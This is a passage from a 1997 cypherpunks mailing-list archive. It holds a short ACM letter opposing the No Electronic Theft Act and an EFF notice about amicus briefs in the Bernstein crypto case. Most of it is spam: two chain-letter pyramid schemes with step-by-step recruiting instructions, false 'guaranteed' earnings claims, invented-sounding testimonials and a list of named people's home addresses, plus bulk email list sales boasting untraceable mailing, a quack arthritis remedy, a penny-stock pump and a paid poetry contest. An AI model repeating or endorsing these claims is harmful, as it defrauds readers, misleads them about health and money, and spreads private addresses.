bill was rushed through both Houses of Congress without careful
consideration of its unintended consequences.

	We are concerned the Bill may:

*	Restrict scientists and other professionals from making their
research available on the Internet for use by colleagues and students.
Most scientists do not own the copyright on their own materials.  Instead,
that copyright ownership is retained by the scientific journal which
peer-reviews and publishes the research.  Under the No Electronic Theft
Act, an author who posts their research on the Internet, and whose
documents are frequently read on-line, could be subject to criminal
prosecution.  If the bill becomes law, scientists may have to choose
between having their work peer-reviewed or making it widely available.

*	Criminalize the transfer of information that is currently protected
under the U.S. 'fair use' doctrine.  Copyright law is derived from the U.S.
Constitution and is intended to advance "science and the useful arts."  The
fair-use doctrine protects reading and nonprofit copying and thus allows
scientists and educators to openly exchange information.  H.R. 2265 does
not explicitly protect the "fair use" privilege which makes this open
exchange of scientific information possible.

*	Chill free speech in universities and research labs. The
terminology used in the Bill, including "willfully" and "for profit," are
not defined; it is unclear what the parameters of a criminally prosecutable
copyright infringement are.  As a result, it is likely that many
institutions will mandate that all copyrighted documents be removed from
the net to avoid having to defend copyright infringement prosecutions.

	We hope that you will veto this measure and ask your staff to work
with Congress during the next session to develop more sensible legislation.


Sincerely,

Dr. Barbara Simons Chair,
U.S. Public Policy Committee
Association For Computing


The Association for Computing (ACM) is the largest and oldest professional
association of computer scientists in the United States.  ACM's U.S. Public
Policy Committee (USACM) facilitates communication between computer
scientists and policy makers on issues of concern to the computing
community.

cc:	Vice President Albert Gore, Jr.
	Ira Magaziner, Senior Adviser to President
	Brian Kahin, Office of Science Technology and Public Policy.
	Henry J. Hyde, Chair, House Judiciary Committee
	John Conyers, Jr., Ranking Member, House Judiciary Committee
	Howard Coble, Chair, Courts and Intellectual Property Subcommittee,
House Judiciary 	Committee
	Orrin G. Hatch, Chair, Senate Judiciary Committee
	Patrick J. Leahy, Ranking Member, Senate Judiciary Committee
	John Ashcroft, Chair, Constitution, Federalism and Property Rights
Subcommittee, Senate 	Judiciary Committee
	Mike DeWine, Chair, Antitrust, Business Rights and Competition
Subcommittee, Senate 	Judiciary Comittee
	Representative Virgil H. Goode
	Representative Barney Frank, House Judiciary Committee
	Representative Christopher Cannon, House Judiciary Committee
	Representative William Delahunt, House Judiciary Committee
	Representative Elton Gallegly, House Judiciary Committee
	Representative Bob Clement







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cc@4planetsolutions.com
Date: Tue, 25 Nov 1997 14:10:53 -0800 (PST)
To: Friend@public.com
Subject: 6 Minutes Please
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain




I know you are busy, but this is important, Can You Spare 6 Minutes?

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mentor@mail.bip.net
Date: Fri, 28 Nov 1997 17:58:58 -0800 (PST)
To: mentor@mail.bip.net
Subject: Free Online Marketing Course!
Message-ID: <0321432431519b7MAIL2@mail.bip.net>
MIME-Version: 1.0
Content-Type: text/plain



===================================
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: srf@venus.gmds.com
Date: Tue, 25 Nov 1997 20:07:15 -0800 (PST)
To: srf@venus.gmds.com
Subject: Arthritis Suffer's!!!    Read this NOW!!!
Message-ID: <19971125711XAA23663@post.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Doctor's Report Confirms:
"ARTHO" brings faster, safer, more effective relief right to the source of pain.

Artho is the best way to treat arthritis suffering.  When you rub "ARTHO", you rub pain
out.  This is because it's the only fast, effective, and safe formula that works through
the skin delivering relief directly to the point of pain and inflammation with unbelievable
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Only "ARTHO" offers all of the following advantages to arthritis sufferers:
1)   "ARTHO" produces its amazing pain relief as it soothes and cools (it is greaseless,
      odorless, and generates no heat).
2)   It has been proven effective in extensive clinical tests-including double blind
      studies.
3)   Thousands of satisfied customers attest to its effectiveness with their letters and
       reorders.
4)   It will not upset your stomach nor produce other undesirable side effects.
5)   Pain and inflammation begin to subside immediately-often within minutes.
6)   Since "ARTHO" is absorbed directly into the pain area, it can remain in the tissues longer providing              longer lasting relief.

 Don't take our word:  Take the word from one of the thousands of satisfied customers

Dear Sir,
	I am a 78 year old woman who out of desperation ordered your product Artho.  I
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                         N.C.S. HOLIDAY SPECIAL
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Enclosed is my check or money order for $____________payable to NCS

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Address_________________________________________________

City,State,Zip__________________________________________

Description			Price	How Many	Total
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Artho,Three Month Supply		$59.95	________	________

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 26 Nov 1997 02:16:35 -0800 (PST)
To: bernstein-announce
Subject: AAAS amicus brief in Bernstein case is on the Web; Citadel files too.
Message-ID: <199711260958.BAA05860@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The American Association for the Advancement of Science filed a rather
good 62-page "brief" arguing that:

    I. The Regulations Violate the First Amendment

    II. The Regulations Violate Equal Protection Applied
    to the Federal Government Through the Fifth Amendment

    III. The Regulations Violate the Privileges and Immunities
    Clause as Applied to the Federal Government under the Fifth
    Amendment by Infringing the Right to Make Use of the Most
    Effective Commercially Available Means of Communication

    IV. The Regulations Violate the Constitutional Right of Privacy.

Their arguments are novel, interesting, and generally well presented.
See http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/Legal/971110_aaas.amicus

In addition, the Citadel for Constitutional Government has filed a sixth
amicus brief with the 9th Circuit Court of Appeals.  We are still pursuing
an online copy of that brief.

	John Gilmore
	Electronic Frontier Foundation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: extrainc@opus.org
Date: Wed, 26 Nov 1997 13:56:15 -0800 (PST)
To: Friend@public.com
Subject: 29 Million Fresh E-Mail Addresses for only $35 !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


         29 MILLION EMAIL  ADDRESSES VIA E-MAIL FOR ONLY $35

          Yes, we have 29 Million  FRESH email addresses that we will sell for only
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          These 29 Million email addresses are yours to keep, so you can use them
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mail so no one will find out where it came from and you won't lose your dial up
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with your order !


Print this E-Mail, fill the order form.
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                                ORDER FORM


Enclosed is my payment of  $35.00    ____Check    ____Money order

Name______________________  Address_______________________

______________________________State____ Zip Code___________


E-Mail address_____________________/_______________________
                                         Please print twice


               * Make Check/Money order payable, and mail the form to:

                                       M.I.R. CONSULTING, INC.

                        4334 MATILIJA AVENUE, STE 215, DEPT. 27
                                       SHERMAN OAKS, CA 91423 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 89352555@aol.com
Date: Thu, 27 Nov 1997 12:52:42 -0800 (PST)
To: help@1150shopping.com
Subject: Earn Money Shopping
Message-ID: <71428845.UYT88901@1150shopping.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  ?   ?   ?   ?   ?   ?   ?      GET PAID TO SHOP   ?   ?   ?   ?   ?   ?   ?
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YES,  please rush the 'Mystery Shopper (c 1997)'

___________  I have enclosed $39.95 plus $4.95 shipping and handling. ($44.90 total)

___________  I want to save $5.00! I am ordering by fax within 24 hours - I have enclosed $34.95 plus $4.95 shipping and handling. ($39.90 total)

___________ Please RUSH my order - add an additional $15.00 (OPTIONAL)

I have enclosed (Check One):

_____ Cashiers Check
_____ Money Order
_____ Personal Check

SHIPPING INFORMATION

Name:__________________________________________________

Telephone:_______-______-____________

Mailing Address:__________________________________________

_______________________________________________________

City:____________________________________________________

State:_________      ZIP:___________________________________

Your E-Mail Address (Needed for order confirmation)____________________________


 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

SAVE AN ADDITIONAL $5.00!!!  FAX YOUR ORDER NOW!

Please tape your completed and signed check in the space below and fax to IMS. That facsimile number is 1-423-681-6520.


*************************************


FAX: 1-423-681-6520


PLEASE TAPE YOUR CHECK HERE


Please SIGN you check

*************************************

Thank You For Your Order


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Biz-Man@GoodAdvertising.com
Date: Wed, 26 Nov 1997 15:32:56 -0800 (PST)
To: BarganLovers@UwiseFolk.com
Subject: -Years End Holiday Special -
Message-ID: <8339883_38716132>
MIME-Version: 1.0
Content-Type: text/plain



         Linko -- P.O. Box 66781 -- Phoenix, AZ 85082
      Phone (602)267-9688 Fax (602)275-1868  1-11pm (MST)
                 E-mail: Intrepid-1@Juno.com


Greetings Business Owners & Managers,

We welcome you to our "Years End Holiday Special"...." Sale of all
Sales". We are slashing the prices to the bare bones on  all of our
Commercial Bulk E-mail Services and the prices of all our E-mail 
lists. The prices stated below will remain in effect until midnight
January 1, 1998. If you would like to order please call Linko at
(602)267-9688 to discuss the details. We accept checks by phone or
fax.
                       ********************

Commercial E-mail Service Rates:

We will mail your two page sales letter,(80 lines total), to our
best lists for the prices stated below. If you want us to send a
longer message please add 20% for each extra page. 


Bulk e-mail to 100,000 General List.. Reg. $79.95.. Sale price $49.95
Bulk e-mail to 50,000 General List.. Reg. $59.95.. Sale price $29.95
Bulk e-mail to 100,000 Biz-owners.. Reg. $199.95.. Sale price $129.95
Bulk e-mail to 50,000 Biz-owners List..Reg. $129.95..Sale price $69.95
Bulk e-mail to 5,000 MLM List.... Reg. $39.95..... Sale price $24.95
Bulk mail to custom lists is also available. Please call to discuss
use of special custom lists.

 ***** NOBODY BUT NOBODY BEATS OUR COMMERCIAL E-MAIL PRICES ****
*****************************************************************
*****************************************************************
GOOD QUALITY E-MAIL LISTS:

100,000 GENERAL E-MAIL ADDRESSES REG. $19.95....  Sale price $9.95
500,000 GENERAL E-MAIL ADDRESSES REG. $59.95....  Sale price $29.95
10,000 BIZ OWNERS E-MAIL ADDRESSES REG. $39.95... Sale Price $19.95
25,000 BIZ OWNERS E-MAIL ADDRESSES REG. $59.95... Sale Price $29.95
50,000 BIZ OWNERS E-MAIL ADDRESSES REG. $79.95... Sale Price $39.95
5,000 MLM  E-MAIL ADDRESSES REG. $29.95.... Sale Price $14.95

*ALL LISTS ARE MAILED U.S.P.S. WITH ONE ON A LINE IN .TXT FORMAT*
                  *** 1.4 MG - 3-1/2" DISKETTE ***

   ***** DON'T FORGET.... THIS SALE ENDS January 1, 1998 *****
    ****** YOUR BUSINESS IS APPRECIATED...... THANKS *******
******************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Friendly29817@only.com
Date: Wed, 26 Nov 1997 20:47:36 -0800 (PST)
To: Friend@public.com
Subject: THIS IS ONLY FOR PEOPLE WHO NEEDS MONEY RIGHT NOW!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


DEAR FRIEND:

My name is Dick Hollman. In September 1991 my car was repossessed, and
bill collectors were hounding me like you wouldn't believe. I was laid off from
work and my unemployment insurance ran out. In October '91, I received a
letter telling me how to earn $800,000 anytime I wanted to! Of course I was
skeptical, but because I was so desperate, and had virtually nothing to lose, I
gave it a try. In January '92, my family and I went on a 10 day CRUISE! In
February I bought a new Cadillac with Cash! Today I'm well to do and I am
currently building a second home in Virginia and will NEVER HAVE TO WORK
AGAIN !!!

This program works perfectly. I have never failed to make $800,000 in each
mailing. This is a legitimate business opportunity; a perfectly legal money making
program. It does not require you to sell anything, or come in personal contact
with people. Best of all, the only time you have to leave home is to mail the
letters, and you can do that on the way to the grocery store!

BE HONEST, HAVEN'T YOU "BLOWN" MONEY IN RESTURANTS OR ON
ITEMS THAT GIVE ONLY TEMPORARY PLEASURE? FOLLOW THESE
INSTRUCTIONS BELOW AND YOUR DREAMS WILL COME TRUE!!!

FOLLOW THESE INSTRUCTIONS EXACTLY AND IN 20 TO 90 DAYS YOU
WILL RECEIVE OVER $800,000.
                                                                GUARANTEED!!!

1. IMMEDIATELY SEND $1 (CASH, CHECK OR MONEY ORDER) TO EACH
    OF THE NAMES LISTED BELOW. WRAP THE DOLLAR BILL IN A NOTE
    SAYING "PLEASE ADD MY NAME TO YOUR MAILING LIST." THIS IS A
    LEGITIMATE SERVICE FOR WHICH YOU ARE PAYING $1.

2. REMOVE THE NAME AT THE TOP OF THE LIST AND MOVE THE OTHER
    FIVE UP ONE SO THAT #2 BECOMES #1 AND SO ON. PUT YOUR NAME
    ON AS #6.

3. E-MAIL NEW LIST TO PEOPLE WHO HAVE SENT YOU THEIR PROGRAMS
    OR  PROGRAMS YOU FIND IN THE NEWS GROUPS.
       
      I spent about 15 minutes last night looking in the news groups and came
up with more than enough names. You are not limited to 20 by any means -
the more you send, the more gifts you will receive. Each time someone emails
you their program, send them a copy of this to keep the cash coming in.

4. WITHIN 90 DAYS YOU SHOULD RECEIVE YOUR $800,000 ! KEEP A
    COPY OF THIS LETTER SO YOU CAN USE IT AGAIN WHEN YOU
    NEED MONEY. 

JUST DO IT!!!



1. Ophelia Harris, 228 Morrow Rd, Apt 18-D, Forest Park, GA 30297

2. L. S. Owensby, PO Box 871249, Stone Mountain, GA 30087-1249 

3. C. L. Hollis, PO Box 4, Hogh Rolls, NM 88325-0004

4. Julian M. Repta, 3539 S. Wolcott, Chicago, IL 60609

5. D. Lee, 3020 Longleaf Lane, Augusta, GA 30906

6. I. Ahkinazi, 4334 Matilija Ave, # 215, Sherman Oaks, CA 91423


HERE COMES THE INTERESTING PART.

AT A COSERVATIVE RATE OF RESPONSE. ASSUME FOR EXAMPLE
YOU GET A 7.5% RETURN RATE. MY FIRST ATTEMPT WAS ABOUT
9.5% AND MY SECOND WAS 11%

1. When sending out 200 letters, 15 people will send you $1.00
2. These 15 send out 200 letters each and 225 people send you $1.00
3. Those 225 send out 200 letters each and 3,375 people send you $1.00
4. Those 3, 375 send out 200 letters each and 50,625 people send you $1.00
5. Those 50, 625 people send out 200 letters each and 759,375 people send
    you $1.00


At this point your name is dropped off the list, but so far you have received
$813, 615!!! It works every time, but how well depends on how many letters
you send out. In the above example you send 200 letters out. I guarantee it's
correct. With this kind of return you've got to try it. Try it once and you'll try
it again!


NOT ENOUGH? WHAT ARE YOU WAITING FOR ??? MAIL! MAIL! MAIL!!!

PLAY IT SMART IN HANDLING YOUR MONEY, ESPECIALLY IF YOU
NEVER HAD SO MUCH MONEY IN YOUR POSSESSION.

KEEP WHAT YOU ARE DOING TO YOURSELF FOR A WHILE. MANY WILL
TELL YOU, IT WON'T WORK AND TRY TO TALK YOU OUT OF YOUR
DREAMS. AFTER IT WORKS LET THEM KNOW OF YOUR SUCCESS!!!

YOU HAVE NOW COMPILED A VERY EXTENSIVE MAILING LIST FIRM,
OR... MAY START YOUR OWN.

J. Hollman says, "I am naturally skeptical and I had received at least 35 letters
similar to this one in a six month period. However, there was something about
this one I liked. IT TAKES LESS INVESTMENT than others, and ALL
PARTICIPANTS receive money, not just the one! Anyway, I sent out 250
letters and hoped for the best. Nothing happened for 11 days, but on the
12th day I received $909.00! Over the next four and one-half months I
received over $800,000 cash in the mail. I'm doing it again with 1000 letters!!!"

S. Friseh - "I wanted to try a similar program in which it cost me $5 for 5 names,
plus much more expenses of which, at the time, I didn't have enough capital to
invest. The first time I sent this letter, I got my first response in one week! After
a short period of time, I got well over $800,000!!! AND NOW I'M TRYING IT
AGAIN!!! GOOD LUCK TO ALL OF YOU!!!  IT REALLY WORKS!!!"

G. Daniels - "When I got this letter I said "yeah sure" and pitched it! Then I
remembered that skepticism breeds failure, while beliefs lead to success! So
I rescued the letter, typed a fresh mailing list and sent it out. Thank Heaven I
did!"

You can get better too!!! Once you make money, what will you do if someone
sends you this letter again? Remember how nature works! WHAT GOES
AROUND COMES AROUND! DO IT AGAIN AND KEEP THE ABUNDANCE
FLOWING FOR EVERYONE!!!         









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 37663040@sprintmail.com
Date: Fri, 28 Nov 1997 03:45:13 -0800 (PST)
To: InternetUser@The.Net
Subject: Hot Stocks - Double your Money Before Christmas!!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Visit http://www.jtsr.com or call 888-295-6365 For Complete Information.
Who said opportunity only knocks once.
JT's Restaurant is about to be one of the fastest growing Restaurant
chains. Under valued stock situations presently $1.50 per share.
Analysts predict stock to go as high as $4.00 by year's end and could go
up to $10.00 by 1998. Stock symbol JTSR on NASDAQ
If you had invested just $100.00 in 1955 in Mcdonalds, it would be worth
over $100 million today.$1000 would be worth  over $1billion
Here is another opportunity for you. Visit us at http://www.jtsr.com or
call 1-888-295-6365







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ultramax@206.105.237.162
Date: Fri, 28 Nov 1997 21:42:46 -0800 (PST)
To: foryou@you.you
Subject: National Poetry Contest
Message-ID: <199711282300.TAA02547@ns.alpina1.net>
MIME-Version: 1.0
Content-Type: text/plain



SUBJECT:  Poetry Contest, Win $3000.00

TEXT OF MESSAGE:

               -N A T I O N A L  P O E T R Y  F O R U M-

   You are invited to submit a poem to the National Poetry Forum.  All works
will be read by our staff of award winning poets and writers, and you will
receive a "Critical Analysis Report" with detailed professional comments and
thoughts on your poetry.  The top 25 poems received, as determined by our
judges, will be awarded cash prizes including a $3,000.00 Grand Award.

   The National Poetry Forum, based in New York, looks for fresh new talent
in writers and poets like you.  We employ award winning professional poets to
analyze all poetry as well as judge them for award eligibility on the basis
of creativity and literary content.  With the writers permission, the 25
award winning poems will be "displayed" on our web site.   
                         -RULES AND GUIDELINES-
-Send us ONE poem, any style and on any subject, no more than 25 lines typed
and single spaced on an 8x11 sheet of paper.  
-In the upper left corner should be:
          -Title of Poem
          -Your Name
          -Your Street Address
          -City, State, Zip
          -Your E-Mail Address
-Send poem along with a $10.00 fee (this fee is both for the Critical
Analysis Report and for entry into Award Eligibility).  Make checks payable
to "National Poetry Forum"
-All poems must be received by January 15, 1998.
-CRITICAL ANALYSIS REPORT:  You will receive a personal Critical Analysis
Report regardless of award status.  This report will contain comments on your
poetry and professional insight into the use of the poetic styles and
techniques found in your work.  You will receive report by March 15.
-AWARDS:  Money awards will be given for the top 25 poems, as determined by
our judges.  The Grand Award is $3,000.00.  If your poetry is aming the top
25, you will receive your award along with the Critical Analysis Report.  
-DEADLINE:  January 15.

Send poem along with a $10.00 non-refundable fee to:
          National Poetry Forum
          PO Box 381
          New York, NY 10040
**Make checks payable to "National Poetry Forum"

-QUESTIONS?  COMMENTS?  Feel free to E-Mail us at NatPoeFor@aol.com
Visit our web site at http://members.aol.com/NatPoeFor/poetry.html

Please note:  The National Poetry Forum does not retain the rights to any
poetry or literary works received.  All poems are the sole property of the
writer.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tiacaa41@anion.epita.fr (benz)
Date: Sat, 29 Nov 1997 09:41:37 -0800 (PST)
To: tiacaa41@anion.epita.fr
Subject: your request
Message-ID: <199711292463AAA29105@17253948u6t9o4uu78390.astraweb.com>
MIME-Version: 1.0
Content-Type: text/plain


NEW IMPROVED with FREE software, FREE bulk e mail system,  FREE web site to do what you wish, ongoing support (optional), and a lot more! all included.

...........this is a one time mailing...............

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\$\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
you  are about to make at least $50,000
In less than 90 days
Read the enclosed program...then read it again...
////////////////////////////////////////////////////////////////////////////////
Dear friend,
The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen
financial problems.  I owed my family, friends, and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow
against my home to support my family and struggling business.  I truly
believe it was wrong for me to be in debt like this.  AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life
FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '92 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. 
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to start, without putting me further in debt.  After I got a
pencil and paper and figured it out, I would at least get my money
back.  After determining that the program is LEGAL and NOT A CHAIN
LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need
any money for printing to send out the program, only the cost to
fulfill my orders.  I am telling you like it is, I hope it doesn't
turn you off, but I promised myself that I would not "rip-off" anyone,
no matter how much money it cost me!.

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you
read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in  20 to 90 days was done.  By January 30th, I had received 196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU MUST RECEIVE 100
OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please
take time to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER! Remember,  it wont work  if you don't try it.  This program
does work, but you must follow it EXACTLY!  Especially the rules of
not trying to place your name in a different place.  It doesn't work,
you'll lose out on a  lot  of  money!  REPORT  #2  explains this. 
Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100
or more orders for REPORT #2 and you will make  $50,000 or more in 20
to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It
really is a great opportunity with little cost or risk to you.  If you
choose to participate, follow the program and you will be on your way
to financial security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!
                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like
piled up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN

"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free
lunch in life.  You get out of life what you put into it.'  Through
trial and error and a somewhat slow frustrating start, I finally
figured it out. The program works very well, I just had to find the
right target group of people to email it to.  So far this year, I have
made over $63,000 using this program.  I know my dad would have been
very proud of me."

                                        Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business
for ten years.  Then in 1979 my business began falling off.  I was
doing the same things that were previously successful for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy. Inflation and recession had replaced the stable economy that
had been with us since 1945.  I don't have to tell you what happened
to the unemployment rate...because many of you know from first hand
experience. There were more failures and bankruptcies than ever
before.

The middle class was vanishing.  Those who knew what they were doing invested wisely and moved up.  Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER."  The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US
and overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way. It works exceedingly well as it is now.  Remember to email a copy of this exciting program to everyone that you can think of.  One of
the people you send this to may send out 50,000...and your name will
be on every one of them!.  Remember though, the more you send out, the more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did,
take a little time to read it and REALLY THINK ABOUT IT.  Get a pencil
and figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested. 
Any doubts you have will vanish when your first orders come in.  IT
WORKS!
                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With
a .5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT
100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe me, many people will do that and more!  By the way, your cost to participate in this is practically nothing.  You obviously already have an internet
connection and email is FREE!!!  REPORT#3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is being taught in the Harvard Business School, and both Stanford
Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level
Methods by the mid to late 1990's.  This is a Multi-Billion Dollar
industry and of the 500,000 millionaires in the US, 20% (100,000) made
their fortune in the last several years in MLM.  Moreover, statistics
show 45 people become millionaires everyday through Multi-Level
Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling.  You do it privately in your own home, store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Dothis
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a
           SELF- ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10)                    to the person listed for the SPECIFIC REPORT. International            
           orders should also include $2 extra for postage. It is
           essential that you specify the NAME and NUMBER of the
           report requested to the person you are ordering from.  You
           will need ALL FOUR 4 REPORTS because you will be REPRINTING
           and RESELLING them. DO NOT alter the names or sequence
           other than what the instructions say.  IMPORTANT:  Always
           provide same-day service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will
           tell you the best methods of bulk emailing and acquiring
           email lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can
           encourage them to take  advantage of this  fabulous 
           money-making opportunity.  That's what I did.  And they
           love me now, more than ever.  Then, email to anyone and
           everyone!  Use your imagination!  You can get email
           addresses from companies on the internet who specialize in
           email mailing lists.  These are very cheap, 100,000
           addresses for around $35.00.

